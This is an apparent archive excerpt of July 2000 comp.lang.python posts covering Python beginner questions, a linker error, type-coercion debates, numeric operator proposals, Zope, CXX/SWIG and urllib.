> -lvsn -lcommon -lgeneric -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3
> -lsocket -lnsl -lgen -ldl -lelf -laio -lposix4 -lsql -lm -lm -lnetv2
> -lnttcp -lnetwork -lncr -lnetv2 -lnttcp -lnetwork -lclient -lvsn
> -lcommon -lgeneric -lmm -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4 -lnlsrtl3
> -lnetv2 -lnttcp -lnetwork -lncr -lnetv2 -lnttcp -lnetwork -lclient
> -lvsn -lcommon -lgeneric -lepc -lnlsrtl3 -lcore4 -lnlsrtl3 -lcore4
> -lnlsrtl3 -lclient -lvsn -lcommon -lgeneric -lnlsrtl3 -lcore4
> -lnlsrtl3 -lcore4 -lnlsrtl3 -lsocket -lnsl -lgen -ldl -lelf -laio
> -lposix4 -lsql -lm -lm -o oci_.so
> /usr/bin/ld: cannot open -lnetv2: No such file or directory
> collect2: ld returned 1 exit status
> make: *** [oci_.so] Error 1
> [oracle at ironfist src]$
>
>
> --
> Sam Wun                            Firewalls / Security
> OneGuard Senior Software Engineer  Electronic Commerce
> eSec Limited                       Phone: +61 3 83715376
> mailto:swun at eSec.com.au            C++/JAVA/UNIX/OOP/OOD
>
>

--
William K. Scherer
Sr. Member of Applications Staff
Verizon Wireless






From swun at esec.com.au  Wed Jul 12 02:20:19 2000
From: swun at esec.com.au (sss)
Date: Wed, 12 Jul 2000 16:20:19 +1000
Subject: example of accessing email account.
Message-ID: <396C0E23.887E46DA@esec.com.au>

does anyone have python of how to access web (eg.yahoo) email account?

Thanks
sam.




From tim_one at email.msn.com  Mon Jul  3 14:23:08 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Mon, 3 Jul 2000 14:23:08 -0400
Subject: Bug in math.frexp?
In-Reply-To: <8jqj17$rl0$1@nnrp1.deja.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGENKGHAA.tim_one@email.msn.com>

Guys, this is not open to debate.  frexp is a std ANSI C function, Python
calls the platform frexp directly, and the new docstring I checked in is an
exact paraphrase of the std in Pythonic language.  I don't care what
manpages say.  I *would* care if somebody can show an actual example of a
Python implementation where the examples posted do not work exactly as
shown:  that would mean the platform is buggy -- but the new docs are still
correct <wink>.

arrogant-but-with-cause-in-this-case-ly y'rs  - tim





From jurberg at my-deja.com  Tue Jul 18 10:05:01 2000
From: jurberg at my-deja.com (John Urberg)
Date: Tue, 18 Jul 2000 14:05:01 GMT
Subject: Newbies trying to do a build script
Message-ID: <8l1o61$n45$1@nnrp1.deja.com>

Hi all,

I am working on a project with a couple of other developers and we are
all new to scripting languages.  We need to create a build script to
build an application that consist of C++ and Java code.  We have some
Perl resources in another group, but I would prefer doing it in
Python.  I was hoping someone here could point me to some examples of
build scripts in Python to get us going quickly.

Thanks in advance,
John Urberg


Sent via Deja.com http://www.deja.com/
Before you buy.


From theebh at yahoo.com  Mon Jul 17 21:46:41 2000
From: theebh at yahoo.com (Jonathan)
Date: Tue, 18 Jul 2000 01:46:41 GMT
Subject: Zope newbie
References: <8kv8ba$rq3$1@nnrp1.deja.com> <3973347E.B73015F4@eq.uc.pt>
Message-ID: <8l0ctt$ooc$1@nnrp1.deja.com>

In article <3973347E.B73015F4 at eq.uc.pt>,
  Pedro Vale Lima <eq3pvl at eq.uc.pt> wrote:
> coughlan at gothaminteractive.com wrote:
>
> > I've just installed Zope on Linux, and the documentation that comes
> > with it refers almost exclusively to NT!?  There is very little on
Zope
> > with Apace.
> >
> > Does anyone know of a URL or forum to get a decent tour of Zope on
> > Linux?  zope.com is also *very* dissappointing.
>
> The website is www.zope.org
>
> > It's unclear to me how to even create a hello world program to make
> > sure it's installed and running.  Any advice, would be appreciated.
>
> check in the /doc directory for install information. You don't need
to use
>
> apache to check if Zope works, use Zope internal server instead.
>
> There are serveral ways to use Zope with Apache. For fastcgi, my
> favourite,
> in zope.org check for the fastcgi howto (under documentation-howtos).
>
> regards
>
> pedro
>
>
Zope mailing list is also a good place to start(and ask questions). It
can be found at Zope.org. You can even start posting your question to
the community at zope at zope.org.


Sent via Deja.com http://www.deja.com/
Before you buy.


From nobody at nowhere.nohow  Fri Jul 28 22:02:20 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 02:02:20 GMT
Subject: Beginning
References: <8loacq$n81$1@nnrp1.deja.com> <397FB2B5.8FE38267@sitegnome.com> <8lqqmp$jdd$1@nnrp1.deja.com> <8lsaoa01g3p@news2.newsguy.com>
Message-ID: <slrn8o4epb.abr.nobody@isis.visi.com>

In article <8lsaoa01g3p at news2.newsguy.com>, Alex Martelli wrote:

>Python works beautifully -- much better than most other
>tools work in those environments.  I'm particularly
>addicted to Hammond's PythonWin, win32com, and
>all the other win32 extensions (though I don't use them
>for GUI's -- those I find easier to hack together by other
>means, such as dynamic HTML, VB, etc; if I did have to
>do GUI's in Python, I think I'd choose wxPython -- I've had
>far too much Tcl/Tk in my Tcl and Perl days to feel any
>desire whatsoever to go back to it:-).

Though I still find Tk gemoetry management to sometimes be a trial-and-error
proposition, I find Python/Tk (or Scheme/Tk, FWIW) to be far easier to use
than Tcl/Tk.

-- 
Grant Edwards                   grante             Yow!  MY income is ALL
                                  at               disposable!
                               visi.com            


From nowonder at pool.informatik.rwth-aachen.de  Mon Jul 24 12:01:12 2000
From: nowonder at pool.informatik.rwth-aachen.de (Peter Schneider-Kamp)
Date: Mon, 24 Jul 2000 16:01:12 +0000
Subject: multi-dimensional array ??
References: <397d3cc8.33972780@news.online.no>
Message-ID: <397C6848.BBBCDD49@pool.informatik.rwth-aachen.de>

Thomas Weholt wrote:
> 
> I need to hold x,y,z coordinates in a multi-level grid. How can this
> be done in Python?

You can use lists of lists of lists of 3-tuples containing the
coordinates. Adressing is done via repeated indexing.
For example the corners of a unit cube between 0 and 1:

>>> a = [ [ [(0,0,0), (0,0,1)], [(0,1,0), (0,1,1)] ],
...       [ [(1,0,0), (1,0,1)], [(1,1,0), (1,1,1)] ] ]
>>> a[0][0][0]
(0, 0, 0)
>>> a[1][0][1]
(1, 0, 1)
>>>

You can also use NumPy. Chances are (if only slight ones)
that it will be included with 2.0 (see PEP 206
http://python.sourceforge.net/peps/pep-0206.html)

Peter 
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From musingattheruins at my-deja.com  Sat Jul 15 07:57:56 2000
From: musingattheruins at my-deja.com (musingattheruins at my-deja.com)
Date: Sat, 15 Jul 2000 11:57:56 GMT
Subject: IDLE startup error on NT4
References: <8kodjp$aj2$1@nnrp1.deja.com> <skVb5.60324$dF.2317079@news1.rdc1.il.home.com>
Message-ID: <8kpjk2$3an$1@nnrp1.deja.com>

Just add the directories where python.exe and tcl80.dll to the
environment (on NT right click My Computer, select Environment,
pick 'Path' item).  Usually it is something like...

[your existing path];c:\program files\python;c:\program files\tcl\bin;

on Windows 98 you can add the foloowing line to the end of your
autoexec.bat...
SET PATH=%PATH%;c:\program files\python;c:\program files\tcl\bin;

Regards :-)

> surely there is, but i made the same "fix" on winNT and

> > My "fix" was to simply move the relevant files to the Python
> > DLL directory on NT, but surely there's something else going
> > on here.


Sent via Deja.com http://www.deja.com/
Before you buy.


From richard at vandestadt.org  Thu Jul 20 08:49:48 2000
From: richard at vandestadt.org (Richard van de Stadt -at home-)
Date: Thu, 20 Jul 2000 14:49:48 +0200
Subject: cgi to send PDF file to browser?
References: <pG2d5.31399$8u4.320467@news1.rdc1.bc.home.com>
Message-ID: <3976F56C.E412E20A@vandestadt.org>

Erik Myllymaki wrote:
> 
> Hello,
> 
> I am looking for some advice on how to send a PDF file to a client browser
> from a cgi script. I could just show a listing of the directory where the
> PDF files are located and have the client select the right one, but for
> various reasons I would like to just ship it out transparently.
> 
> I have looked briefly at BaseHTTPServer, and I think this is where my answer
> lies???

What you basically need is to print the string "application/pdf" followed by
the contents of the pdf file.

I did that a few years ago, but went back to making links to the pdf files.
because too many users had problems configuring their browsers to work with
this. They just wanted to be able to download the files themselves by
clicking on the links.

Richard.


From sabren at manifestation.com  Sun Jul 30 11:51:53 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Sun, 30 Jul 2000 11:51:53 -0400 (EDT)
Subject: bug in M2Crypto.urllib2 ..
In-Reply-To: <20000730231941.A295@madcap.dyndns.org>
Message-ID: <Pine.BSF.4.10.10007301149330.1012-100000@chi.pair.com>

On Sun, 30 Jul 2000, Ng Pheng Siong wrote:

> /tmp:$ cat py
> #!/usr/local/bin/python
> 
> import M2Crypto.urllib2
> 
> url = 'https://secure.authorize.net/gateway/transact.dll'
> 
> page = M2Crypto.urllib2.urlopen(url)
> print page.headers
> print '-' * 50
> print page.read()
> print '-' * 50
> 
> /tmp:$ python py
> Server: Microsoft-IIS/4.0
> Date: Sun, 30 Jul 2000 15:18:26 GMT
> Content-Type: text/html
> Content-Length: 42
> Content:
> 
> --------------------------------------------------
> Invalid Merchant Login or Account Inactive
> --------------------------------------------------
> /tmp:$

Very strange. I still get:

Server: Microsoft-IIS/4.0
Date: Sun, 30 Jul 2000 15:49:23 GMT
Content-Type: text/html
Content-Length: 42
Content:

--------------------------------------------------
None
--------------------------------------------------


... But I found that if I just use M2Crypto.httpslib, it works fine. I
spent quite a bit of time in the debugger and couldn't find a reason
why one would work and not the other. It's got to be something
obscure, but at least I have a work around.

Thanks,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From lshuler at my-deja.com  Fri Jul 28 02:37:32 2000
From: lshuler at my-deja.com (lshuler at my-deja.com)
Date: Fri, 28 Jul 2000 06:37:32 GMT
Subject: Win32 drive mapping... aka "net use"
Message-ID: <8lr9nc$tdf$1@nnrp1.deja.com>

Is there an API using Win32 extensions to map a
drive share? I have not found one yet and have
tried searching "Win32 map drive". I am looking
for the equivalent of:

net use <share path>

If not, is there an alternative other than making
a call to system("net use <path>").

Thanks in advance,
Lance


Sent via Deja.com http://www.deja.com/
Before you buy.


From m.faassen at vet.uu.nl  Mon Jul  3 14:18:22 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 3 Jul 2000 18:18:22 GMT
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr> <8jhuvn01vs0@news2.newsguy.com> <4.3.1.2.20000630145109.0201d9e0@phear.dementian.com> <8jplru0lfe@news2.newsguy.com> <962626013.769258863@news.libertysurf.fr>
Message-ID: <8jqlde$n0e$1@newshost.accu.uu.nl>

Jerome Quelin <jerome.quelin at insalien.org> wrote:
> "Alex Martelli" <alex at magenta.com> wrote:
>>These are excellent arguments for always using accessors from OUTSIDE the
>>class.  Jerome, however, was talking about using them from INSIDE the class
>>as well, which is a different issue.
> Sure, I'm always using accessors from outside.
> But from inside the class, I don't know which is the best. I feel like the KISS
> rule should apply, but what do you OO gurus think of it ? How far encapsulation
> should go ?

I don't recall exactly, but the OO literature on this issue referes to the
so-called 'Law of Demeter'. It comes in various weak and strong varieties
which differ on this issue. So you may want to do a web-search on that.

My personal opinion is that in Python you should not use accessors
internally until it turns out to be necessary (which may never be). Python
code is easy enough to change, after all. I don't even mind the occasional
public use of attributes. Helped by unit tests this kind of thing can
be changed to accessors fairly easily if necessary. Or I can of course
go the __getattr__/__setattr__ route.

I think the Pythonic way to think about this goes a bit like this:

  * sure, encapsulation is very important in good designs.

  * but, rapid prototyping is very important in coming up with good
    designs, as rapid prototyping allows you to change designs which
    turned out to be not good enough into better ones pretty easily.

  * good testing is important in any case.

  * if you have good testing and rapid prototyping, it's better to wait
    with various incantations (type checking, public/private, accessors)
    until they appear necessary, instead of doing them up-front and wasting
    time. It'll be likely you're wasting time as your up-front design will
    probably not be optimal yet in any case. Your incantations
    may turn out to be unnecessary in the first place!

In my opinion the best solution to attribute access would be to add 
optional getter/setter methods to Python, much like Delphi's properties,
or the facilities Sather and I hear C# provide.

Such a facility can provide for a very clean path from direct attribute
access to use of getters/setters.

Regards,

Martijn 
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From rumjuggler at cryptarchy.org  Fri Jul 28 14:56:09 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 18:56:09 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com>
Message-ID: <f5m3osobae9i4cvna8k89ra8u3vi1me5k9@4ax.com>

On Fri, 28 Jul 2000 07:59:38 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 06:52:19 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
>wrote:
>>Yes, it does.  List returns the list-equivalent of the sequence passed as
>>its argument.  1 is not a sequence; it doesn't have a list equivalent.
>
>    1 is a sequence whether Python likes it or not.  I call that a deficiency
>in the language.
>
>>Any _sequence_ can be a single element or sequence.
>>Any _single element_ can't be a single element or sequence.
>
>    Let's pause and reflect on a single element not being able to be a single
>element.

You are, I think, deliberately misinterpreting me.

Any single element can't be "a single element or a sequence".  It can only
be a single element.

-- 
Barnabas T. Rumjuggler

NEW Epistemology Strips!  Dogs don't know they don't know it's not bacon!
 -- Ranjit Bhatnagar


From no_spam at umich.edu  Mon Jul 24 16:45:12 2000
From: no_spam at umich.edu (Jeff)
Date: Mon, 24 Jul 2000 13:45:12 -0700
Subject: executing Python statements
References: <8li9mm$ehe@news.or.intel.com>
Message-ID: <8li9sp$eph@news.or.intel.com>

never mind... exec (run_this_string) works

Jeff <no_spam at umich.edu> wrote in message
news:8li9mm$ehe at news.or.intel.com...
> Hi, say I have a variable called 'x', and it is 100.  I have another
> variable called 'run_this_string' and it reads 'print x'.  How can I then
> execute run_this_string and get 100 to print out?  Here is a code snippet:
>
> x = 100
> run_this_string = 'print x'
>
>
>




From ssthapa at midway.uchicago.edu  Sat Jul  8 14:22:20 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Sat, 08 Jul 2000 18:22:20 GMT
Subject: Anyone used Python for GPIB instrument control?
References: <39668E65.356337BF@home.com>
Message-ID: <slrn8meotl.kqv.ssthapa@ntcs-ip48.uchicago.edu>

europax at home.com <europax at home.com> wrote:
>Hello all,
>
>I am new to this ng and to Python.  I am wondering if anyone has used
>Python to control a National Instruments GPIB card on a Windows NT box? 
>I've searched and found a couple of references on my own.
>
>A group at work is using Perl for this task and there is some pressure
>to go along with them.  I've tried Perl, and frankly, assembly language
>is clearer than Perl code to me.  However, Python passed my test as I
>was able to do something with it in the first minute-  and I can
>understand what most of the syntax means.

    I'm not sure if an equivalent exists for windows but try look 
swig.  It allows you to use c/c++ code within python.  From what
I remember from using a GPIB interface to a Tektronics scope, you
don't need much more than some basic c code to accept a string or a 
pointer to a buffer and pass it on to the driver.  You also need a 
function to get a return code and pass it back to your python code.  
    Although I'm not familiar with them, I think you may be able to
write a basic COM/ActiveX object and use it in your python code. 
    How is the rest of your group controling the GPIB in perl?  You
may be able to use the same methods in python.


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From cut_me_out at hotmail.com  Sat Jul 29 13:49:10 2000
From: cut_me_out at hotmail.com (Alex)
Date: 29 Jul 2000 13:49:10 -0400
Subject: Python in politics (sssssssssnake!)
References: <nif3osg6mr87dsd5grafifpck048jr6ec9@4ax.com> <398296A1.1A97571A@sitegnome.com>
Message-ID: <etdr98c9695.fsf@w20-575-109.mit.edu>

> body actions of a super hero (muscle flex left and right arms :) ....
> hopefully I'll be able to maintain that level of enthusiasm.  Do all
> you guys do that?? <g>

Yes, but as I've grown more sophisticated, I've subtly incorporated it
into my anti-RSI exercises.

Alex.


From ge at nowhere.none  Fri Jul 28 10:27:58 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 14:27:58 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <OLgg5.2637$6E.681698@ptah.visi.com>

In article <slrn8o2ft4.1e2.grey at teleute.rpglink.com>, Steve Lamb wrote:

>>Steve, in case it isn't clear yet, Python programmers *want* to
>>be blown out of the water when doing something as senseless as
>
>>    1 + "foo"
>
> It isn't senseless.  That is the whole point.  It is only
> senseless because of typing.  Clearly you cannot add a word to
> a number, granted.  But what of 1 + "1"?  That isn't senseless,
> those are two numbers.  I can see they are two numbers, it is
> only because of typing that it fails.

It is only because of typing that all programs fail.

If I typed "1", that means I wanted a word, a printible string,
and _not_ an integer.  If I wanted an integer I would type 1
instead of "1".  If I want to convert a string to an integer or
an integer to a float or a float to a string, then _I_ will do
it. I do _not_ want the language to make WAGs about what I
meant when I typed something.

I meant what I typed.  If not, I'll go back and fix it until
what I typed is what I meant.

> So I ask you this /VERY/ simple question.  Why can't Python do
> both?  Hm? What is wrong with taking 1 + "1", converting the
> "1" to a 1 and adding it together?

There's nothing "wrong" with it.  I just don't want it to
happen. The people responsible for designing the language
apparently didn't want it to happen.  Choose or invent a
language that matches what you want.  Nobody (sane) claims that
a particular language is the best one for everybody or for
every application.

>If it is a string that cannot be converted to an integer, throw
>an exception, otherwise, do it.  Then that preserves the 1 +
>"foo" exception and also does the sane thing of getting rid of
>types when it makes sense to do so.

I don't think it makes sense to do so.  If I explicitly denote
an object as a string (e.g. "1"), then I want it to be a string
and I want it to _stay_ a string.

Maybe I'm just getting old, but there are already enough things
changing in the world.  I don't need my data changing types
behind my back.

>Hell, why do an exception at all?  Why not do what is already
>done with integers, reals and floats?

[...]

>    You already accept:
>
>1 + 1 = integer
>
>1 + 1.2 = float

I may accept it in that I use languages that do that, but I
don't like it.  I think that should be an exception also.  I've
had programs fail because of this.  It is a Bad Thing(tm). This
is my opinion/preference, and it is based on the way I think
and on the types of applications I write and my experiences
debugging them.

>1 + 1j = complex

I'm a bit more ambivalent on that one. From what I remember
from my undergrad circuit analysis classes (many years ago)
calculations involving combinations of simple and complex
numbers are extremely common. However, (here's the important
part) the behavior of such calculations is completely defined,
and there is no potential for loss of information when
promoting a non-complex floating point value to a complex
floating point value. Converting a 1.2345 into 1.2345 + 0.0j
does not loose information.

Converting values from int to float or float to int can loose
information and should _not_ be done automatically by a
language.

> So please don't tell me you don't want "automagic" type
> changing when it is already there and, I'd wager, you use it
> extensively.

It doesn't matter if it is already there, I don't want
"automagic" type changing, and I try not to use it.  When
writing in C, I use generally use lint to make _sure_ I don't
use it.

-- 
Grant Edwards                   grante             Yow!  Of course, you
                                  at               UNDERSTAND about the PLAIDS
                               visi.com            in the SPIN CYCLE --


From moshez at math.huji.ac.il  Mon Jul 31 16:25:50 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 31 Jul 2000 23:25:50 +0300 (IDT)
Subject: check file exists
In-Reply-To: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <Pine.GSO.4.10.10007312325350.3741-100000@sundial>

On Mon, 31 Jul 2000, Randy Heiland wrote:

> How does one test for whether or not a (Unix) file exists?

os.path.exists()

tricky-ly y'rs, Z.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From olipt at mayo.edu  Thu Jul 20 14:05:54 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Thu, 20 Jul 2000 13:05:54 -0500
Subject: Discussion: new operators for numerical computation
In-Reply-To: <8l7c80$mlc$1@tomm.stsci.edu>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu>
Message-ID: <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu>

> We are planning to use Numeric (or its future equivalent) heavily for
> our software. One thing we would strongly object to is making 
> matrix operators the default. The vast majority of our manipulations 
> (on images and spectra) involve elementwise operations. This would be
> consistent with what most astronomers would expect (and how IDL--currently
> the most commonly used array-based language in the astronomical community 
> by far--handles it).

I also take this view.  Definining * to be matrixwise should be handled by
subclassing the generic array (which will be much easier to do
without breaking compatibility with compiled extension modules in the
future Numeric).
> 
> Use of parentheses for matrix operators that Konrad Hinsen proposed
> appears to be the best solution I've seen so far. 

I agree.  I'm glad Konrad is still with actively with us.  His ideas were
also pivotal in getting Numeric into its current useful state.  I do like
Tim Hochberg's suggestion of (|) as matsolve.

The only question is can the (*) be implemented in the current grammar?  

I don't think we should start introducing [*] {*} variants.  That would
likely weaken our case in the PEP.  

I like:

(*)  outer product
(.)  inner product
(|)  matrix solve
(**) matrix power  
     (^) is better but only if ^ is power (which is not likely!)

I'm not sure we should blow our chance to get some useful operators into
Python by over-reaching...  Also, unless you've used Numeric with Python
for a while, it's easy to over-value the use of the infix notation.
This really bugged me when I first started using Numeric Python as
well, but it doesn't bother me anymore.  The syntax does not have
to be as bad as Huaiyu demonstrates.  

-Travis






From mallor at 3DProgrammer.com  Thu Jul 20 15:52:44 2000
From: mallor at 3DProgrammer.com (Mallor)
Date: Thu, 20 Jul 2000 19:52:44 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net>
Message-ID: <gMId5.2958$U56.81892@newsread1.prod.itd.earthlink.net>

"Moritz Voss" <nospam at buzzoff.com> wrote in message
news:8l6qt4$89p$1 at fermi.tro.net...
>
> Thanks :) So designing my own scripting language is easier.

If you want to build your own scripting language, look at Lua.  It seems
purpose-built for that task, at least it is billed as being a
meta-scripting language.  http://www.tecgraf.puc-rio.br/lua/  It also
sounds like it's lighter weight / faster than Python.  But I don't think
I managed to get subscribed properly to the Lua mailing list, which says
something about the maturity of the developer support.  I guess I'll try
again here.

Grim Fandango used a modified Lua 3.1, apparently.  Baldur's Gate and
MDK2 use Lua internally.  There are some other game projects mentioned
on the "uses" page of the Lua website.

I am wondering if the tradeoff is basically Lua performance vs. Python
standardization?


--
Cheers,             Infernal Troublemaker                    Troll
Mallor              "By simple mistake, mortals themselves amuse."





From phil at geog.ubc.ca  Mon Jul 17 18:26:10 2000
From: phil at geog.ubc.ca (Phil Austin)
Date: 17 Jul 2000 15:26:10 -0700
Subject: CXX and Swig, pros and cons
References: <8kv5uj$4of$1@broadway.news.is-europe.net>
Message-ID: <m3em4sjsvx.fsf@brant.geog.ubc.ca>

J?r?me Lecomte <jlecomte at ifrance.com> writes:

> I am fairly new to Python and I'd like to interface part of a medium
> size C++ lib (around 70 classes) to Python. I looked on the www and I
> found CXX and Swig. They seem to have fairly different approach of the
> problem. I wonder which suits best C++.
> 

I find that CXX has quite a few  advantages, e.g:

1) Automatic memory management (no worrying about INCREFs or DECREFs)

2) CXX Dict, List, Tuple String, Array, etc. 

3) Integration of Python and C++ exceptions

4) Automatic generation of method tables

> If I miss any other tool, please let me know.
> 

You might want to take a look at SCXX:

http://www.mcmillan-inc.com/scxx.html

Regards, Phil


From speed at ?.com  Fri Jul 28 19:55:33 2000
From: speed at ?.com (Jake Speed)
Date: Fri, 28 Jul 2000 23:55:33 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <so469a2go0b171@corp.supernews.com>
Message-ID: <so47blrho0b143@corp.supernews.com>

speed@?.com (Jake Speed) wrote in <so469a2go0b171 at corp.supernews.com>:

>morpheus at here.not.there (Steve Lamb) wrote in
><slrn8o449h.49c.grey at teleute.rpglink.com>: 
>
>>On Fri, 28 Jul 2000 22:38:32 GMT, William Tanksley
>><wtanksle at dolphin.openprojects.net> wrote:
>>>That's a really cruel statement for you to make.  I hope you were
>>>making it in jest.  I've seen nothing to indicate anything waranting
>>>this kind of attack.
>>
>>    Neither cruel or jest.  I consider "Automagic" coversion on the same
>>    vein 
>>as "Winblows".  I have hoped that there were people who were above that,
>>there are some, but it is here as in everywhere else.
>
>The term 'automagic' is commonly used by perl coders and porters.

Heck, even pythoners use it to describe python:

http://www.cwi.nl/www.python.org/search/hypermail/python-1994q2/0012.html

Altavista counts:

+perl +automagic*   : 3,369 pages
+tcl +automagic*    : 1,804 pages
+python +automagic* : 1,295 pages
+awk +automagic*    : 1,083 pages
+php +automagic*    :   505 pages
+guile +automagic*  :   133 pages
+cheese +automagic* :   129 pages
+ruby +automagic*   :    67 pages
+haskell +automagic*:    63 pages

-Speed!

(apparently, 'pork rinds' are not automagical at all)


From markx.daley at intel.com  Tue Jul 11 12:20:04 2000
From: markx.daley at intel.com (Daley, MarkX)
Date: Tue, 11 Jul 2000 09:20:04 -0700
Subject: checking the existence of a fiel
Message-ID: <75F7304BB41CD411B06600A0C98414FC0A41D5@ORSMSX54>

if os.path.exists('filename'):
	<process>

- Mark

----------------------------------------------
The opinions expressed are mine, and are not necessarily those of my
employer.


-----Original Message-----
From: Fernando Rodr?guez [mailto:frr at mindless.com]
Sent: Tuesday, July 11, 2000 8:37 AM
To: python-list at python.org
Subject: checking the existence of a fiel


Hi!

    How can I check if a file exists? O:-)

TIA

--


---------------------------------------
Fernando Rodr?guez






From disposable002 at netscape.net.remove  Thu Jul 13 15:46:41 2000
From: disposable002 at netscape.net.remove (Brian Steele)
Date: Thu, 13 Jul 2000 19:46:41 GMT
Subject: determining type
References: <396e07fd@news-out>
Message-ID: <396E1CA1.EBB4D959@netscape.net.remove>

>>> a = {'item1': 'hello', 'item2':{'subitem1':'goodbye'}}
>>> b = 'mystring'
>>> c = {'my':'dictionary'}
>>> type(a['item2']) == type(b)
0
>>> type(a['item2']) == type(c)
1


Mike Mikkelsen wrote:
> 
> Hello All,
> 
> Is there a way, programmatically,  to determine if an item in a dictionairy is itself a dictionairy?
> 
> consider:
> >>>   a = {'item1': 'hello', 'item2':{'subitem1':'goodbye'}}
> >>>   print a['item2']['subitem1']
> goodbye
> 
> Is there a way to tell if 'item2' is a dictionairy, list or simple value like 'item1'?
> 
> TIA
> 
> --
> Mike Mikkelsen                   mikk at microbsys.com
> Micro Business Systems         http://microbsys.com
> Fresno Linux Users Group  http://linux.fresno.ca.us
> 
>                  It's all GNU to me!


From rbill at digisprings.com  Mon Jul 31 14:09:50 2000
From: rbill at digisprings.com (Robert W. Bill)
Date: Mon, 31 Jul 2000 12:09:50 -0600
Subject: Missing feature in urllib? (Getting HTTP reply code)
In-Reply-To: <39851FBF3B.60DAYEMARTIN@smtp.garage.co.jp>
References: <39851FBF3B.60DAYEMARTIN@smtp.garage.co.jp>
Message-ID: <Pine.LNX.4.10.10007311047420.3913-100000@localhost.localdomain>

On Mon, 31 Jul 2000, Yves-Eric Martin wrote:
>     Hello everyone,
>     I am now using urllib to get some data from a HTTP server, say:
> 
> import urllib
> f = urllib.urlopen('http://www.nowhere.com/stuff')
> readData = f.read()
 <snip>

I didn't see other responses, so I took a quick look at urllib.  It didn't
seem to have any accessor for response code and it also didn't seem very 
`subclassing friendly'.  I would think that looking at httplib is a
better idea.

However:
Headers are handled OK with with urllib, so one
suggestion is to pollute the headers with the response codes in urllib.
A potential-5-minute-saving-alternative might be:

1. copy urllib.py to myurllib.py
2. find line (#266 in my version)(in class URLopener, method open_http)
	errcode, errmsg, headers = h.getreply()
3. add next line =   
	headers["Responsecode"] = str(errcode) + " " + errmsg

Then:
>>>import myurllib
>>>urlconnection = myurllib.urlopen('http://www.python.org/')
>>>urlconnection.headers["Responsecode"]
'200 OK'

-robert



From dcalvelo at pharion.univ-lille2.fr  Tue Jul 25 15:11:24 2000
From: dcalvelo at pharion.univ-lille2.fr (Calvelo Daniel)
Date: 25 Jul 2000 19:11:24 GMT
Subject: Comparison of strings and integer
References: <8lkfhs$pav$1@pollux.ip-plus.net> <slrn8nrkt7.54h.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <8lkoos$1gg$3@netserv.univ-lille1.fr>

Remco Gerlich <scarblac-spamtrap at pino.selwerd.nl> wrote:
: Franz GEIGER wrote in comp.lang.python:
:> Still not very experienced in programming Python I recently compared
:> accidentially a string variable with an integer variable. Python did it his
:> way, which was not my way: I expected a conversion like Perl does or a
:> runtime error like REBOL does. Is there any way to prevent Python from doing
:> so?
:> 
:> Python: print "1" > 1 --> 1

: Python's docs say that sorting order for incompatible types is
: arbitrary but consistent. Or so I seem to remember, can't find it at
: the moment.

>From the tutorial, section 5.6 (as of 1.5.2):

"""
Note that comparing objects of different types is legal.  The outcome
is deterministic but arbitrary: the types are ordered by their name.
Thus, a list is always smaller than a string, a string is always
smaller than a tuple, etc.  Mixed numeric types are compared according
to their numeric value, so 0 equals 0.0, etc.
"""

-- Daniel Calvelo Aros
     calvelo at lifl.fr


